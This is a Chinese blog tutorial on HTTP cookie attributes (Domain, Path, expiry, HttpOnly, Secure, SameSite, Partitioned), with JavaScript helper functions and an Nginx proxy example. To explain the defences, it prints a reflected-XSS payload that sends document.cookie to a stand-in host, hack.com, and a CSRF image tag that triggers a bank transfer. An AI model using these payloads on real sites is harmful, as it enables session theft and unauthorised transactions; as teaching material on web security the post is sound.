Cookies 完全指南

来源:https://www.cnblogs.com/dtux/archive/2023/08/25/17656123.html
-Advertisement-
Play Games

>我們是[袋鼠雲數棧 UED 團隊](http://ued.dtstack.cn/),致力於打造優秀的一站式數據中台產品。我們始終保持工匠精神,探索前端道路,為社區積累並傳播經驗價值。 >本文作者:佳嵐 ### 前言 `Cookie`實際上是一小段的文本信息,它產生的原因是由於HTTP 協議是**無 ...


我們是袋鼠雲數棧 UED 團隊,致力於打造優秀的一站式數據中台產品。我們始終保持工匠精神,探索前端道路,為社區積累並傳播經驗價值。

本文作者:佳嵐

前言

Cookie實際上是一小段的文本信息,它產生的原因是由於HTTP 協議是無狀態的,所以需要通過 Cookie 來維持客戶端與服務端之間的“會話狀態”。如網路購物,能夠在不同頁面記錄購物車信息,或者在網站不同頁面共用登錄狀態。

Cookie 的基本結構包括:名字、值、各種屬性

屬性

一塊 Cookie 可能有 Domain、Path、Expires、Max-Age、Secure、HttpOnly 等多種屬性,如

**HTTP**/1.1 200 **OK**
Set-Cookie: token=abc; Domain=.baidu.com; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly

Domain 和 Path

DomainPath 屬性定義了該 Cookie 的可被訪問的範圍,告訴瀏覽器該 Cookie 是屬於哪一個網站的。在請求介面時,會根據 DomainPath 由瀏覽器決定是否要攜帶該 Cookie。因此,Domain 是有嚴格規範進行約束的,可以看成 Cookie 的第一道安全防線。
首先 Domain 設置時在 格式上 必須以 . 開頭,且域必須還要包含一個 .  ,或者是完全以 ip 的形式寫入,
比如說:

.baidu.com  ✅

192.168.3.5  ✅

.com

.168.3.5 ❌ 非法ip地址是無法寫入的

www.baidu.com ❓ 是否合法

A Set-Cookie with Domain=ajax.com will be rejected because the value for Domain does not begin with a dot.

雖然 RFC 中嚴格規定了 Domain 必須以 . 開頭,但可能由於網站開發者經常忘記加上 . ,所以瀏覽器都會自動的在前面加上一個 .
比如說下麵這種:

寫入時

file

查看時

file

如果伺服器未指定 Cookie 的 Domain,則它們預設為所請求資源的域。

比如 網站地址為 www.baidu.com  ,寫入的Cookie響應頭為Set-Cookie: b=2; Domain=;

則實際寫入的 Cookie 為
file

我們可以看到 bDomain變成了當前網站的域,且前面也沒有帶上.

區別

  • Domain 不帶點時只有請求主機完全匹配時才會帶上 Cookie,也就是僅 www.baidu.com 能訪問
  • Domain 帶點時所有子域都能訪問到該 Cookie,如 baidu.comb.baidu.coma.b.baidu.com

主機匹配

如果請求主機與功能變數名稱不匹配,則會被瀏覽器拒絕寫入
當我在 www.a.com 網站寫入了一條 www.b.com , 由於它們非同站會被瀏覽器拒絕寫入

Domain 必須為當前域或者當前域的父域

  • 請求主機為www.baidu.com ,寫入域為 .baidu.comwww.baidu.com
  • 請求主機為a.baidu.com ,寫入域為 b.baidu.comc.a.baidu.com

再講講Path , PathDomain 相鋪相成,Domain 決定 Cookie是否該被寫入,而 Path 決定具體請求哪個路徑時會被攜帶。

例如,設置 Path=/docs,則以下地址都會匹配:

  • /docs
  • /docs/
  • /docs/Web/
  • /docs/Web/HTTP

但是這些請求路徑不會匹配以下地址:

  • /
  • /docsets
  • /fr/docs

當為設置Path或者設置為空時,Path 會被設置為當前請求路徑

file

註意點:

  • 當請求地址不帶末尾的/ 時,www.a.com:3000/a/b
    file

  • 當請求地址末尾帶/ 時, www.a.com:3000/a/b/
    file

Cookie是由DomainPath 來區分的,因此不同的DomainPath 會被識別成不同的Cookie, 所以你可能會遇到多個同名的情況
file

這些Cookie會同時在請求頭中被傳遞給伺服器端
file

我們可以看到 發送給伺服器端的 Cookie 只會攜帶 Cookie 的鍵與名,不會攜帶相關的 Domain 信息,因此伺服器端是無法判斷出該 Cookie 具體是哪個域攜帶的。但會有攜帶順序的優先順序問題,參見

所以當我們有多個子網站需要使用相同名字的Cookie時,可以使用不帶點的全功能變數名稱 作為寫入Domain 或者指定具體的不同Path , 或者採用首碼來區分不同網站
file

Expires 和 Max-Age

ExpiresMax-Age屬性定義了 Cookie 的生命周期,也就是瀏覽器應刪除 Cookie 的時間。在預設情況下Cookie 的生命周期是 Session 級別,即退出瀏覽器後自動過期。
Http Cache 類似, Expires 是以一個絕對GMT格式的時間的來指定過期時間,而 Max-Age 是以多少秒後過期。Max-Agehttp1.1 的產物,優先順序比 Expires 要高,

  • 當Max-Age 設置大於0時,則會在設置的多少秒後過期
  • 當Max-Age 設置為0時,則會立即過期
  • 當Max-Age 設置為-1時,為Session級別

區別點:

  • Expires 是以GMT時間為單位,可能存在伺服器與瀏覽器端時間不匹配的情況,導致不能精確控制時間到期時間。而Max-Age 則是以瀏覽器端接收到響應時開始計算時間的,以客戶端為準
  • Max-Age 使用與計算過期時間更簡單,而Expires 相容性更好

瞭解了這4個屬性,我們就可以先封裝自己的 Cookie 操作工具了,
瀏覽器提供的document.cookie 為我們提供了對Cookie的操作方式

document.cookie 重新賦值即可新增該Cookie, 而不是替換掉整個Cookies
註意:如果需要替換某個Cookie, 必須保證DomainPath一致。其中 Cookie 內容只能包括 Ascii 碼字元,所以需要經過一層編碼。

setCookie(
    name: string,
    value: string,
    days?: number,
    domainStr?: string
){
      let expires = '';
      if (days) {
          const date = new Date();
          date.setTime(date.getTime() + days * 24 * 60 * 60 * 1000);
          expires = '; expires=' + date.toUTCString();
      }
      let domain = '';
      if (domainStr) {
          domain = '; domain=' + domainStr;
      }
      document.cookie = name + '=' + encodeURIComponent(value) + expires + domain + '; path=/';
  },

只有將 Cookie 設為過期才會刪除, 註意只有符合指定 domain 與 path 會被刪除

deleteCookie(name: string, domain?: string, path?: string) {
    const d = new Date(0);
    const domainTemp = domain ? `; domain=${domain}` : '';
    const pathTemp = path || '/';
    document.cookie =
        name + '=; expires=' + d.toUTCString() + domainTemp + '; path=' + pathTemp;
},

我們僅能通過document.cookie 查詢到所有的鍵與值,無法查詢其具體的屬性,每個不同的Cookie通過 ; 分割
file

function getCookie(cookieName) {
  const strCookie = document.cookie
  const cookieList = strCookie.split('; ')
  
  for(let i = 0; i < cookieList.length; i++) {
    const arr = cookieList[i].split('=')
    if (cookieName === arr[0].trim()) {
      return decodeURIComponent(arr[1]);
    }
  }
  
  return ''
}

HttpOnly

HttpOnly 要求瀏覽器不要通過 HTTP(和HTTPS)以外的渠道使用 Cookie,也就是說只能通過 Http 的響應頭裡進行Set-Cookie , 用戶無法在 js 代碼中去操作與讀取該 Cookie。這個屬性主要是用來緩解 XSS 攻擊的。
我們可以看下麵兩個例子

反射型XSS竊取Cookie

反射型 XSS 攻擊指攻擊者在頁面中插入惡意 JavaScript 腳本,該腳本隨著 HTTP/HTTPS 請求數據一起發送給後端伺服器,伺服器對其進行響應,瀏覽器接收響應後將其解析渲染。惡意腳本的執行路徑為“瀏覽器-伺服器-瀏覽器”。瀏覽器中的惡意腳本發送到伺服器,伺服器直接對應資源返回瀏覽器中解析執行,整個過程類似於反射。

假設我們在百度上搜索內容,就會跳轉以下頁面。

https://www.baidu.com/search?input=searchText

之後返回的頁面中會攜帶下麵的內容

<p>以下是搜索{searchText}的所有結果</p>

這時我將searchText 改為如下的字元串

<img src="notfound.png" onerror="location.href='http://hack.com/?cookie='+document.cookie'">

接著我再把整個鏈接進行轉碼或者轉短鏈接化,發送給用戶,用戶點擊後在 baidu 上的 Cookie 就會比自動發送到我們的 hack 伺服器內。

存儲型 XSS 竊取 Cookie

存儲型 XSS 攻擊指攻擊者在伺服器的資料庫中插入惡意 JavaScript 腳本,當用戶訪問網站時,惡意腳本被髮送到瀏覽器進行解析執行。

最經典的一個評論區案例

我在某網站的評論區直接輸入一串JS代碼

file

如果前端與後端均沒有對其進行過濾,那麼該評論被寫入到資料庫中,所有訪問該頁面的用戶信息都會被竊取。

但目前 XSS 攻擊並沒有那麼容易成功,大部分前端框架 React、 Vue,都會自動對 HTML 內容進行轉義後再輸出到頁面,比如:

<img src="empty.png" onerror ="alert('xss')">

轉義後輸出到 html 中

&lt;img src=&quot;empty.png&quot; onerror =&quot;alert(&#x27;xss&#x27;)&quot;&gt;

相比之下,採用伺服器端渲染的Web應用更容易被攻擊,如jspphpexpress-art-tempalte

因此,採用HttpOnly來保護關鍵的用戶Cookie 是能很大程度上防止Cookie被竊取,但並非完全杜絕。

Secure

Secure 屬性是防止信息在傳遞的過程中被監聽捕獲造成信息泄漏。當 Secure 標誌的值被設置為 true 時,表示創建的 Cookie 會被以安全的形式向伺服器傳輸,即只能在 HTTPS 連接中被瀏覽器傳遞到伺服器端進行會話驗證,如果是 HTTP 連接則不會傳遞該信息,所以 Cookie 的具體內容不會被盜取,該屬性只能在 HTTPS 站點下被設置。

SameSite

Same Site 直譯過來就是同站,它和我們之前說的同域 Same Origin 是不同的。Cookie 遵守同站策略,而非同源策略,兩者的區別主要在於判斷的標準是不一樣的。一個 URL 主要有以下幾個部分組成:

file

可以看到同域的判斷比較嚴格,需要 protocol、 hostnameport 三部分完全一致。

相對而言,Cookie中的同站判斷就比較寬鬆,主要是根據 Mozilla 維護的公共尾碼表Pulic Suffix List)使用有效頂級功能變數名稱(eTLD)+1的規則查找得到的一級功能變數名稱是否相同來判斷是否是同站請求, 此外,Cookie並不區分協議

功能變數名稱可以分成頂級功能變數名稱(一級功能變數名稱)、二級功能變數名稱、三級功能變數名稱等等,如:

頂級功能變數名稱:.com, .cn, .top, .xyz

二級:baidu.com, bilibili.com

三級功能變數名稱:xx.baidu.com xx.bilibili.com

這很好理解,如果是github.io 這屬於什麼功能變數名稱?

例如 比較https://tieba.baidu.comhttps://wenku.baidu.com 是否是同站。

根據上述的 有效頂級功能變數名稱(eTLD)+1的規則查找得到的一級功能變數名稱是否相同

.com是在 PSL 中記錄的有效頂級功能變數名稱,eTLD+1 後兩者都是 baidu.com ,

所以 https://tieba.baidu.com 和 https://www.baidu.com是同站功能變數名稱。

那我們再來比較下jackWang.github.iodtstack.github.io

其中 github.io  我們再PSL中能夠找到

file

因此github.io 是有效頂級功能變數名稱 eTLDjackWang.github.iodtstack.github.io 分別是eTLD+1 , 它們不相等,所以是跨站的。由於github.io 是頂級功能變數名稱,當domain設置為  .github.io 由於非法,並不會設置成功,也因此不同github page是不共用Cookie的。

eTLD

eTLD 的全稱是 effective Top-Level Domain,它與我們往常理解的 Top-Level Domain 頂級功能變數名稱有所區別。eTLD 記錄在之前提到的 PSL 文件中。而 TLD(真正的頂級功能變數名稱) 也有一個記錄的列表,那就是 Root Zone Database
eTLD 的出現主要是為瞭解決 .com.cn、 .com.hk、 .co.jp 這種看起來像是二級功能變數名稱的但其實需要作為頂級功能變數名稱存在的場景。
回到 SameSite 這個屬性本身上,它有三個取值

  • None
  • Lax  預設值
  • Strict

None

在 Chrome80 版本以前,Same-Site 的預設值是None , 該屬性值表示不做任何限制,允許第三方Cookie 。啥是第三方Cookie ?根據上面同站的判斷規則,如果是同站的,就稱為第一方 ,跨站的就為第三方

file

那麼什麼時候我的網站會出現第三方CookieCookie Domain不是只能設置自身域內嗎 ?
首先Set-Cookie時的Domain校驗是根據請求的主機,而不是當前導航欄 URL 的地址來判定的

file

當我請求一個跨域請求,或者通過img標簽引入一個外域的圖片時等等,如果請求響應設置了Cookie或者攜帶了第三方Cookie, 那麼都會在Devtools中展示,只有當通過document.cookie訪問時訪問到的都為第一方Cookie

當我在www.aliyun.com 設置瞭如下 Cookie:  a=createFromAliyun; Domain=.aliyun.com;Path=/; SameSite=None

當我訪問www.taobao.com時, 裡面引用了一張aliyun.com的圖片
當我將SameSite設為None時,請求這張圖片時才會帶上我們在www.aliyun.com 下寫入的Cookie a

file

僅攜帶為NoneCookie

file

Lax

Lax會對一部分第三方Cookie進行限制發送,我們知道互聯網廣告通過在固定域 Cookie 下標記用戶 ID,記錄用戶的行為從何達到精準推薦的目的。隨著全球隱私問題的整治,在 Chrome 80 中瀏覽器將預設的 SameSite 規則從 SameSite=None 修改為 SameSite=Lax。設置成 SameSite=Lax 之後頁面內所有跨站情況下的資源請求都不會攜帶 Cookie。

具體規則:

類型 例子 是否發送
a鏈接 發送
預載入 發送
GET 表單 發送
POST 表單 不發送
iframe 不發送
AJAX axios.post fetch 不發送
圖片 不發送

對用戶來說這肯定是一件好事,避免了自身被攻擊。但是對我們技術同學來說,這無疑是給我們設置的一個障礙。因為業務也確實會存在著多個功能變數名稱的情況,並且需要在這些功能變數名稱中進行 Cookie 傳遞。

這個修改影響面廣泛,需要網站維護者花大量的時間去修改適配。

針對因為此次特性受到影響的網站,可以選擇以下一些適配辦法:

  1. 降級瀏覽器版本至80以下;基本只能用作臨時解決方案
  2. 瀏覽器預設配置修改,91版本以下進入chrome://flagssame-site-by-default-cookies設為disabled , 94版本以下需改動啟動項才行
  3. 將站點都放到同一二級功能變數名稱下麵,即讓他們保持同站
    會使用兩個不同的站點業務耦合,僅特定場景下可以考慮,比如通過 iframe 嵌入單點登錄頁面 ,單點登錄頁面僅會在iframe中使用,沒有人會單獨去訪問這個網站,則可以考慮修改單點登錄頁面的功能變數名稱。
  4. 為所有 Cookie 增加 SameSite=None;Secure 屬性
    需要改動所有前後端設置 Cookie 的地方,改動量巨大,其次None 必須與Secure 配套使用,而Secure 意味著必須配備 HTTPS
  5. 通過 Nginx 反向代理我們的跨站網站, 使它們變成同站。
    比如我在www.baidu.com 下通過 iframe 嵌套了www.bilibili.com , 它們跨站了,在 bilibili 中的Set-Cookie 將會被拒絕掉。
    這時我在 Nginx上開啟一個代理服務,將功能變數名稱 bilibili.baidu.com 代理轉發至 www.bilibili.com

需要註意: 要通過 Nginx 進行 Cookie 轉發

server {
  listen       80;
  server_name  bilibili.baidu.com;

  location / {
    proxy_hide_header X-Frame-Options;
    # 用於cookie代理
    proxy_cookie_domain www.baidu.com  bilibili.baidu.com;
    # 代理到真實地址
    proxy_pass http://www.baidu.com;
  }
}

Strict

Strict 最為嚴格,它完全拒絕第三方站點,實際運用場景並不多,當某些 Cookie 被設為Strict後,可能會影響到用戶的體驗。比如我在baidu.com 中用a標簽 鏈接到bilibili ,而bilibilitoken如果是Strict的話,那我跳轉過去就會丟失登錄狀態。

SameSite 的作用主要有兩點:

  1. 進行隱私保護,
  2. 能夠有效防禦CSRF攻擊

比如我在自己的黑客網站放入一張圖片,裡面的鏈接指向會將 qiming 的錢轉給 jialan, 誘導用戶進入我的網站,由於第三方 Cookie 的存在,用戶的登錄態是存在的(之前登錄過該銀行的話),錢就會自動轉入我的賬戶。如果設置了LaxStrict , 則能避免這種問題。
<img src="http://bank.example.com/withdraw?account=qiming&amount=1000000&for=jialan" />

Cookie大小與數量

每一個 Cookie 的大小一般為4KB, 不同瀏覽器上不同,Chrome 實測下來為4096個位元組,其計算是name + value的字元串長度,當超過大小時設置不會成功

file

實測下來每個域下麵最多為175個,當超出最大限制時,會移除舊的 Cookie

file

但我如何控制哪些 Cookie 在超出限制時不應該被刪除?
Cookie還有個 Priority 屬性用來表示優先順序
有以下取值:

  • Low
  • Medium 預設值
  • High

那自動刪除時將按下麵順序進行刪除

  1. 優先順序為 Low的非 secure Cookie
  2. 優先順序為 Low的 secure Cookie
  3. 優先順序為 Medium的非 secure Cookie
  4. 優先順序為 Medium的 secure Cookie
  5. 優先順序為 High的非 secure Cookie
  6. 優先順序為 High的 secure Cookie

未來發展

Cookie 在未來的很長一段時間都是不可或缺的,即使目前已經有了 jwt 等替代方案。 像國外的 Cookie 隱私法在一步步限制著 Cookie 的權利,訪問站點時使用第三方 Cookie 都必須爭得用戶的同意。

file

未來的SameParty屬性

SameSite=Lax/Strict  斷了我們跨站傳遞 Cookie 的念想,但實際業務上確實有這種場景。然而 Chrome 是計劃在2024年完全禁用第三方Cookie ,那完全禁用後,為了能夠滿足實際的業務需求,Chrome 又推出了SameParty屬性。

該提案提出了 SameParty 新的 Cookie 屬性,當標記了這個屬性的 Cookie 可以在同一個主域下進行共用。那如何定義不同的功能變數名稱屬於同一主域呢?主要是依賴了另外一個特性 first-party-set 第一方集合。它規定在每個功能變數名稱下的該 URL /.well-known/first-party-set 可以返回一個第一方功能變數名稱的配置文件。在這個文件中你可以定義當前功能變數名稱從屬於哪個第一方功能變數名稱,該第一方功能變數名稱下有哪些成員功能變數名稱等配置。

// https://a.example/.well-known/first-party-set
{
  "owner": "a.example",
  "members": ["b.example", "c.example"],
  ...
}

// https://b.example/.well-known/first-party-set
{
	"owner": "a.example"
}

// https://c.example/.well-known/first-party-set
{
	"owner": "a.example"
}

當然使用固定 URL 會產生額外的請求,對頁面的響應造成影響。也可以直接使用 Sec-First-Party-Set 響應頭直接指定歸屬的第一方功能變數名稱。

該屬性還未正式支持,此處只做簡略說明,詳細資料

Partitioned屬性

這個屬性我們可能很少註意到,一般稱為Cookies Having Independent Partitioned State (CHIPS)

file

它的作用是使 第三方Cookie第一方站點 相綁定

我們舉個例子:

我在 https://site-a.example 里,裡面請求了 https://3rd-party.example 這個站點的資源, 而 https://3rd-party.example 寫入了一個 Cookie ,那它屬於 第三方COokie

當我訪問 https://site-b.example 時,也請求了 https://3rd-party.example 的資源,這時瀏覽器會把在 https://site-a.example 中寫入的第三方 Cookie 也給帶上。

這是正常情況,原因是 Cookie 在會以寫入它們的主機或者功能變數名稱作為 Key 去存儲,比如上面就是 [”https://3rd-party.example”],  我們並不知道它的創建上下文功能變數名稱是啥。

當我開啟 Partitioned 時,Cookie 存儲時,還會記錄創建它的上下文 eTLD + 1 作為額外的 Partiotion Key , 變成 [”https://3rd-party.example”, "https://site-a.example"]

當我訪問 https://site-a.example  是因為匹配上了 Partition Key , 所以能夠帶上 第三方 Cookie , 訪問 https://site-b.example 時則不會帶上 第三方 Cookie 。這樣其實主要是限制了第三方 Cookie 的跟蹤。

參考

https://tech-blog.cymetrics.io/posts/jo/zerobased-secure-samesite-httponly/
https://www.ruanyifeng.com/blog/2019/09/cookie-samesite.html
https://blog.csdn.net/frontend_nian/article/details/124221944
https://blog.csdn.net/weixin_40906515/article/details/120030218
https://datatracker.ietf.org/doc/html/rfc6265#section-3.1
https://zhuanlan.zhihu.com/p/50541175
https://developer.mozilla.org/en-US/docs/Web/Privacy/Partitioned_cookies#cross-site_tracking_in_a_nutshell


最後

歡迎關註【袋鼠雲數棧UED團隊】~
袋鼠雲數棧UED團隊持續為廣大開發者分享技術成果,相繼參與開源了歡迎star


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • IN 和 EXISTS 是 SQL 中的兩種子查詢操作符,它們都可以用來測試一個值或一組值是否在子查詢的結果集中。然而,它們在某些情況下的性能和語義上有所不同,因此在不同的使用場景中可能會選擇不同的操作符。 IN:IN 操作符用於測試一個值是否在一組值中。它通常用於處理靜態的值列表或返回列的子查詢。 ...
  • 本文分享自華為雲社區《【如何保證你的DWS數據更安全】使用DWS集群,用戶被鎖定如何解鎖?》,作者:Shirley_Dou 。 一、管理員用戶被鎖定,怎麼破?gsql: FATAL: The account has been locked. 1、重置集群密碼可自動解鎖,在集群管理頁面,找到對應集群重 ...
  • 當時買了一臺Windows Server伺服器,然後安裝上SQL Server後,想通過外網訪問到資料庫,遇到了一些問題,查了很多資料也踩了很多坑。本文主要介紹如何配置SQL Server遠程連接?如何新增管理員用戶等。 ...
  • ## 簡介 [CloudCanal](https://www.clougence.com?kw=cnblogs_20230825) 近期發佈了 [GaussDB for MySQL](https://www.huaweicloud.com/product/gaussdbformysql.html)和 ...
  • 本文分享自華為雲社區《華為雲GES:十年磨一劍,打造業界一流的雲原生分散式圖資料庫》,作者:GES圖引擎服務小圖 。 1、淺談雲原生圖資料庫 圖資料庫(graph database)是一個使用圖結構進行語義查詢的資料庫,它使用節點、邊和屬性來表示和存儲數據。該系統的關鍵概念是圖,它直接將存儲中的數據 ...
  • **塑造軟體新生態,賦能發展新變革。** **8月31日-9月2日**,第二十五屆**中國國際軟體博覽會**將於天津梅江會展中心召開。本屆軟博會由中國電子信息行業聯合會主辦,聚焦全球軟體前沿技術與產業發展方向,充分展示軟體賦能數字經濟、信息技術應用創新、工業互聯網平臺、智能製造及元宇宙等多領域發展成 ...
  • 這裡給大家分享我在網上總結出來的一些知識,希望對大家有所幫助 最近有一個需求,要我實現一個動畫效果,效果如下 簡單分析了一下效果,是一個3d的效果,首先是一個圓,接著是兩段圓環,第三層是一堆小圓環,最裡面是一些線上運動,有著漸變色的矩形。 第一層的圓環很簡單。 第二層的圓環其實也挺簡單的,只要在設置 ...
  • 當涉及到優化 Flutter 應用時,考慮性能、UI 渲染和記憶體管理是至關重要的。在本篇文章中,我們將通過實例深入討論這些主題,展示如何通過優化技巧改進你的 Flutter 應用。 ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...